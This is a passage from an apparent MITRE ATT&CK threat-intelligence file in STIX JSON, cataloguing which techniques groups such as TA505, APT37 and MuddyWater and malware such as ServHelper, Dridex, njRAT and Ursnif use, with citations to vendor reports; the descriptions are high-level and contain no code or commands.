            "id": "relationship--2f350d97-8492-4eb4-8640-2c3ae2bc8df1",
            "type": "relationship",
            "modified": "2020-05-29T19:02:07.218Z",
            "created": "2019-05-29T12:47:44.943Z"
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            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "external_references": [
                {
                    "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.",
                    "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware",
                    "source_name": "Cybereason TA505 April 2019"
                },
                {
                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.",
                    "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/",
                    "source_name": "Deep Instinct TA505 Apr 2019"
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has leveraged <code>rundll32.exe</code> to execute malicious DLLs.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--841acdc1-42c3-4f7d-9840-c9e4057bc2ab",
            "type": "relationship",
            "modified": "2019-06-24T19:11:41.455Z",
            "created": "2019-05-29T13:02:31.636Z"
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            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "external_references": [
                {
                    "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.",
                    "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware",
                    "source_name": "Cybereason TA505 April 2019"
                },
                {
                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.",
                    "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/",
                    "source_name": "Deep Instinct TA505 Apr 2019"
                },
                {
                    "source_name": "Trend Micro TA505 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/",
                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has signed payloads with code signing certificates from Thawte and Sectigo.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)(Citation: Trend Micro TA505 June 2019)",
            "relationship_type": "uses",
            "id": "relationship--badc4d79-2f59-4b9b-9044-9c53dcd386c0",
            "type": "relationship",
            "modified": "2020-06-16T16:57:13.452Z",
            "created": "2019-05-29T13:02:31.667Z"
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            "target_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                },
                {
                    "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.",
                    "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware",
                    "source_name": "Cybereason TA505 April 2019"
                },
                {
                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.",
                    "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/",
                    "source_name": "Deep Instinct TA505 Apr 2019"
                },
                {
                    "source_name": "Trend Micro TA505 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/",
                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."
                }
            ],
            "description": "(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)(Citation: Trend Micro TA505 June 2019)",
            "relationship_type": "uses",
            "id": "relationship--7575fb4d-0fa3-4a16-acb6-734841da41bc",
            "type": "relationship",
            "modified": "2020-05-29T19:02:07.489Z",
            "created": "2019-05-29T13:40:48.666Z"
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            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
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                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) will attempt to enumerate the username of the victim.(Citation: Proofpoint TA505 Jan 2019)",
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            "id": "relationship--ab51438e-c79f-4fc5-b331-a85dc892b604",
            "type": "relationship",
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                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) will attempt to enumerate Windows version and system architecture.(Citation: Proofpoint TA505 Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--5faa7f83-062b-4821-ad9b-b731a41c06d9",
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                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) uses HTTP for C2.(Citation: Proofpoint TA505 Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--3fc0ea3d-0c51-4c2f-876d-912d08af32c2",
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                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) has used port 80 and 443 for C2.(Citation: Proofpoint TA505 Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--64c4dc50-e15f-4e44-aac3-0b700ceeea70",
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                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "source_name": "Proofpoint TA505 Jan 2019"
                },
                {
                    "source_name": "Deep Instinct TA505 Apr 2019",
                    "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/",
                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) has a module to delete itself from the infected machine.(Citation: Proofpoint TA505 Jan 2019)(Citation: Deep Instinct TA505 Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--b70e627e-bd57-4e07-8e59-cb240034490a",
            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
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                    "source_name": "Deep Instinct TA505 Apr 2019",
                    "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/",
                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) contains a module for downloading and executing DLLs that leverages <code>rundll32.exe</code>.(Citation: Deep Instinct TA505 Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--ac43f0bd-db6c-4000-8efe-7f33520780d9",
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "source_name": "Proofpoint TA505 Jan 2019"
                },
                {
                    "source_name": "Deep Instinct TA505 Apr 2019",
                    "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/",
                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) may download additional files to execute.(Citation: Proofpoint TA505 Jan 2019)(Citation: Deep Instinct TA505 Apr 2019)",
            "relationship_type": "uses",
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                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "source_name": "Proofpoint TA505 Jan 2019"
                },
                {
                    "source_name": "Deep Instinct TA505 Apr 2019",
                    "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/",
                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) can execute shell commands against [cmd](https://attack.mitre.org/software/S0106).(Citation: Proofpoint TA505 Jan 2019)(Citation: Deep Instinct TA505 Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--1db2b844-8ace-46f3-a2f9-527e813f32b6",
            "type": "relationship",
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                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) has commands for adding a remote desktop user and sending RDP traffic to the attacker through a reverse SSH tunnel.(Citation: Proofpoint TA505 Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--608c5d3c-ba27-430d-8655-0ff7830fb5c5",
            "type": "relationship",
            "modified": "2019-06-07T20:33:39.592Z",
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                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) has created a new user and added it to the \"Remote Desktop Users\" and \"Administrators\" groups.(Citation: Proofpoint TA505 Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--5db107fe-7b8d-4093-a551-492eb4a72ed9",
            "type": "relationship",
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                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) may set up a reverse SSH tunnel to give the attacker access to services running on the victim, such as RDP.(Citation: Proofpoint TA505 Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--35bfe5a4-84ca-4601-82d8-073b1e384115",
            "type": "relationship",
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            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "Deep Instinct TA505 Apr 2019",
                    "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/",
                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) may attempt to establish persistence via the <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\</code> run key.(Citation: Deep Instinct TA505 Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--62bf46b4-69b3-4a32-bcbb-c9d960e3039a",
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                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                }
            ],
            "description": "[ServHelper](https://attack.mitre.org/software/S0382) contains modules that will use [schtasks](https://attack.mitre.org/software/S0111) to carry out malicious operations.(Citation: Proofpoint TA505 Jan 2019)",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                },
                {
                    "source_name": "Trend Micro TA505 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/",
                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."
                },
                {
                    "source_name": "Proofpoint TA505 October 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader",
                    "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."
                }
            ],
            "description": "(Citation: Proofpoint TA505 Jan 2019)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)",
            "relationship_type": "uses",
            "id": "relationship--60026624-0ae9-439a-8ee8-faee7ce6ddf0",
            "type": "relationship",
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            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                }
            ],
            "description": "[FlawedGrace](https://attack.mitre.org/software/S0383) uses a custom binary protocol for its C2 communications.(Citation: Proofpoint TA505 Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--a09f7595-1281-4333-ac19-22c41da8c82d",
            "type": "relationship",
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        {
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            "source_ref": "malware--43155329-3edf-47a6-9a14-7dac899b01e4",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                }
            ],
            "description": "[FlawedGrace](https://attack.mitre.org/software/S0383) encrypts its C2 configuration files with AES in CBC mode.(Citation: Proofpoint TA505 Jan 2019)",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.",
                    "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware",
                    "source_name": "Cybereason TA505 April 2019"
                },
                {
                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.",
                    "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/",
                    "source_name": "Deep Instinct TA505 Apr 2019"
                },
                {
                    "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat",
                    "source_name": "ProofPoint SettingContent-ms July 2018"
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has downloaded additional malware to execute on victim systems.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)(Citation: ProofPoint SettingContent-ms July 2018)",
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."
                }
            ],
            "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) enumerates the privilege level of the victim during the initial infection.(Citation: Proofpoint TA505 Mar 2018)",
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                {
                    "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "source_name": "Proofpoint TA505 Sep 2017"
                },
                {
                    "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times",
                    "source_name": "Proofpoint TA505 June 2018"
                },
                {
                    "source_name": "IBM TA505 April 2020",
                    "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/",
                    "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."
                }
            ],
            "description": "(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: IBM TA505 April 2020)",
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                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.",
                    "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation",
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                }
            ],
            "description": "[Dridex](https://attack.mitre.org/software/S0384) contains a backconnect module for tunneling network traffic through a victim's computer. Infected computers become part of a P2P botnet that can relay C2 traffic to other infected peers.(Citation: Dell Dridex Oct 2015)",
            "relationship_type": "uses",
            "id": "relationship--6f7ee9ba-fb3d-4f22-a78a-8003da718ec4",
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                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.",
                    "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation",
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                }
            ],
            "description": "[Dridex](https://attack.mitre.org/software/S0384) can perform browser attacks via web injects to steal information such as credentials, certificates, and cookies.(Citation: Dell Dridex Oct 2015)",
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                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.",
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                    "source_name": "Dell Dridex Oct 2015"
                }
            ],
            "description": "[Dridex](https://attack.mitre.org/software/S0384) contains a module for VNC.(Citation: Dell Dridex Oct 2015)",
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                {
                    "description": "Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.",
                    "url": "https://securelist.com/dridex-a-history-of-evolution/78531/",
                    "source_name": "Kaspersky Dridex May 2017"
                }
            ],
            "description": "[Dridex](https://attack.mitre.org/software/S0384) has encrypted traffic with RC4.(Citation: Kaspersky Dridex May 2017)",
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                    "description": "Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.",
                    "url": "https://securelist.com/dridex-a-history-of-evolution/78531/",
                    "source_name": "Kaspersky Dridex May 2017"
                }
            ],
            "description": "[Dridex](https://attack.mitre.org/software/S0384) has used HTTPS for C2 communications.(Citation: Kaspersky Dridex May 2017)",
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                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) has maliciously encrypted victim's database systems and demanded a cryptocurrency ransom be paid.(Citation: Unit42 Xbash Sept 2018)",
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                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
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            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) has destroyed Linux-based databases as part of its ransomware capabilities.(Citation: Unit42 Xbash Sept 2018)\t",
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                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."
                }
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            "description": "[APT37](https://attack.mitre.org/groups/G0067) has a Bluetooth device harvester, which uses Windows Bluetooth APIs to find information on connected Bluetooth devices. (Citation: Securelist ScarCruft May 2019)",
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                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/",
                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."
                }
            ],
            "description": "[APT37](https://attack.mitre.org/groups/G0067) has a function in the initial dropper to bypass Windows UAC in order to execute the next payload with higher privileges.(Citation: Securelist ScarCruft May 2019)",
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                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/",
                    "source_name": "Securelist ScarCruft May 2019"
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                {
                    "source_name": "NCCGroup RokRat Nov 2018",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."
                }
            ],
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) has the ability to gather a list of files and directories on the infected system.(Citation: Securelist ScarCruft May 2019)(Citation: NCCGroup RokRat Nov 2018)",
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                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."
                }
            ],
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) has a audio capture and eavesdropping module.(Citation: Securelist ScarCruft May 2019)",
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                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
                }
            ],
            "description": "[SynAck](https://attack.mitre.org/software/S0242) encrypts the victims machine followed by asking the victim to pay a ransom. (Citation: SecureList SynAck Doppelg\u00e4nging May 2018)",
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            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
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                    "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf",
                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
                },
                {
                    "source_name": "Citizen Lab Group5",
                    "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.",
                    "url": "https://citizenlab.ca/2016/08/group5-syria/"
                }
            ],
            "description": "[njRAT](https://attack.mitre.org/software/S0385) can access the victim's webcam.(Citation: Fidelis njRAT June 2013)(Citation: Citizen Lab Group5)",
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                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
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                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
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                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
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                    "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019."
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            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used one C2 to obtain enumeration scripts and monitor web logs, but a different C2 to send data back.(Citation: Talos MuddyWater May 2019) ",
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                    "source_name": "NJCCIC Ursnif Sept 2016",
                    "url": "https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif",
                    "description": "NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019."
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                {
                    "source_name": "ProofPoint Ursnif Aug 2016",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality",
                    "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used a peer-to-peer (P2P) network for C2.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016)",
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                {
                    "source_name": "NJCCIC Ursnif Sept 2016",
                    "url": "https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif",
                    "description": "NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019."
                },
                {
                    "source_name": "ProofPoint Ursnif Aug 2016",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality",
                    "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used [Tor](https://attack.mitre.org/software/S0183) for C2.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016)",
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                    "source_name": "Fidelis njRAT June 2013",
                    "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf",
                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
                }
            ],
            "description": "[njRAT](https://attack.mitre.org/software/S0385) uses Base64 encoding for C2 traffic.(Citation: Fidelis njRAT June 2013)",
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                    "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf",
                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
                }
            ],
            "description": "[njRAT](https://attack.mitre.org/software/S0385) communicates to the C2 server using a custom protocol over TCP.(Citation: Fidelis njRAT June 2013)",
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                    "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf",
                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
                }
            ],
            "description": "[njRAT](https://attack.mitre.org/software/S0385) enumerates the current user during the initial infection.(Citation: Fidelis njRAT June 2013)",
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                    "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf",
                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
                }
            ],
            "description": "[njRAT](https://attack.mitre.org/software/S0385) enumerates the victim operating system and computer name during the initial infection.(Citation: Fidelis njRAT June 2013)",
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                    "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf",
                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
                }
            ],
            "description": "[njRAT](https://attack.mitre.org/software/S0385) gathers information about opened windows during the initial infection.(Citation: Fidelis njRAT June 2013)",
            "relationship_type": "uses",
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                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.",
                    "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf",
                    "source_name": "Fidelis njRAT June 2013"
                },
                {
